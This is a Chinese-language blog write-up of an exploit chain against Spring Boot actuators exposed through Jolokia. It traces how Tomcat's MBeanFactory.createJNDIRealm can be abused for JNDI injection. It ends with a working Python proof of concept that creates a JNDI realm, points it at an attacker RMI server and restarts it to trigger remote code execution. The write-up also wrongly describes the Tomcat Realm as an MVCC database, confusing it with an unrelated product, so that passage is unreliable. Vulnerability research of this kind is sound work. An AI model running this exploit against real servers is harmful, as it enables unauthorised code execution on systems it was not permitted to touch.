本文接上文,这里不会分析原文章中所说的/env这种利用的方法,而是说一下rr大佬的发现的另外一条利用链。
0x01 检查MBean
如果说不存在ch.qos.logback.classic reloadByURL这个MBean,还能不能造成RCE呢,这个是我在看完文章后的一个想法。如果说想要解决这个问题,我们需要再看看/jolokia/list中还有哪些利用链可用(真的是太多了T T,由于当时看完记得是在Spring Boot中内嵌的Tomcat中,所以直接看的这个类,然而这个类差点也看跪了T T)。
最终找到org.apache.catalina.mbeans.MBeanFactory这个可能能造成JNDI注入的类,其中有以下这么几个方法从注释的描述中感觉是可以造成JNDI注入的:
- createUserDatabaseRealm
- createDataSourceRealm
- createJNDIRealm
这几点中只有最后的createJNDIRealm是可用的,但是他们前面的处理流程都是一样的,接下来就将他们前面的处理流程简单的分析一下,并说明为什么只有createJNDIRealm是可用的。
0x02 Realm创建流程分析
Realm是一个MVCC数据库,而MVCC是用于解决多版本并发问题的一个方法。有关Realm的一些具体介绍可以参考这篇文章。而我自己的理解是就是它给每一个连接的线程建立了一个“快照”,当两个请求同时到达一个线程时,程序不会造成阻塞,而是会在这个“快照”(也是一个线程)中进行操作,当执行完成后,阻塞合并更改(有点像git):
然而Realm的原理跟我们主要要说的关系不大,tomcat在创建不同的Realm时其实大致的流程都是相同的,只是最后的具体实现不同而已,比如上一节中说道的三个Realm的创建在代码实现流程上是极为相似的:
所以我们跟一下红框的部分然后看具体实现就好。
不难看出关键点在于container.setRealm(realm);,跟进看一下:
如果不存在则创建一个新的realm,这里涉及到Lifecycle的一部分设计与实现,如果想要了解Lifecycle的细节的话,可以参考这篇文章。跟进看一下:
看一下这个startInternal的具体实现,发现是一个虚类,那么看一下它的继承关系,找一下它的具体实现:
可以看到我们所找到这三个Realm的具体实现点了。
下面说一下为什么createUserDatabaseRealm和createDataSourceRealm不能用。
- createUserDatabaseRealm
- 乍一看resourceName可控,好像可以JNDI注入,然后发现getGlobalNamingContext()返回的是一个null:
- 所以无法利用。
- createDataSourceRealm
- 好像并不可以利用。
0x03 createJNDIRealm的利用分析
那么再来看看createJNDIRealm:
这里有两个重要的点,createDirContext()用env来创建一个InitialDirContext,另一个点是Context.*的配置我们可以控。
那么具体的JNDI触发点在哪里呢?我们需要着重跟一下createDirContext。
首先createDirContext最后返回一个InitialDirContext对象,而这个对象是根据env来生成的:
跟进,发现这个InitialDirContext实际上是InitialContext的子类,为什么要着重强调这一点呢?因为JDNI的两个必备要素中就一个要求是:上下文对象是通过InitialContext及其子类实例化的,且他们的lookup()方法允许动态协议切换。
跟进看一下:
myProps通过传入的初始上下文配置经过处理返回完整的上下文环境,可以把它看成env的“完整版”。接着向下跟进:
注意红框部分,我们可以通过设置env中的INITIAL_CONTEXT_FACTORY来控制这里的factory,可以看一下有哪些是我们可以指定的:
可以看到我们可以指定com.sun.jndi.rmi.registry,来进行rmi的操作,来看一下具体实现:
这里的var1还是我们的env,也就是说这里的第一个参数是可控的:
var0、var1可控,还调用了lookup(),在这里完成了JDNI的注入。
0x04 构造poc
梳理一下思路,我们需要做这么几部来完成攻击:
- 创建JNDIRealm
- 通过getDirectoryContextEnvironment()来设置contextFactory为RegistryContextFactory,并将connectionURL设置为自己的N/D服务器
- 重启Realm来完成更改并执行(stop、start)
也就是说需要发4次请求。
在利用过程中get请求的构造比较麻烦这里用post请求来构造poc,关于post如何解析的可以参考get请求解析的分析流程,这里就不过多描述了。
poc:
import requests as req
import sys
from pprint import pprint
url = sys.argv[1] + "/jolokia/"
pprint(url)
create_JNDIrealm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
set_contextFactory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
set_connectionURL = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://localhost:1097/Exploit"
}
stop_JNDIrealm = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}
expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
for i in expoloit:
rep = req.post(url, json=i)
pprint(rep.json())
效果:
0x05 Reference
- https://infoq.cn/article/introduce-and-common-problems-of-java-realm-principle
- https://uule.iteye.com/blog/2340873
- https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt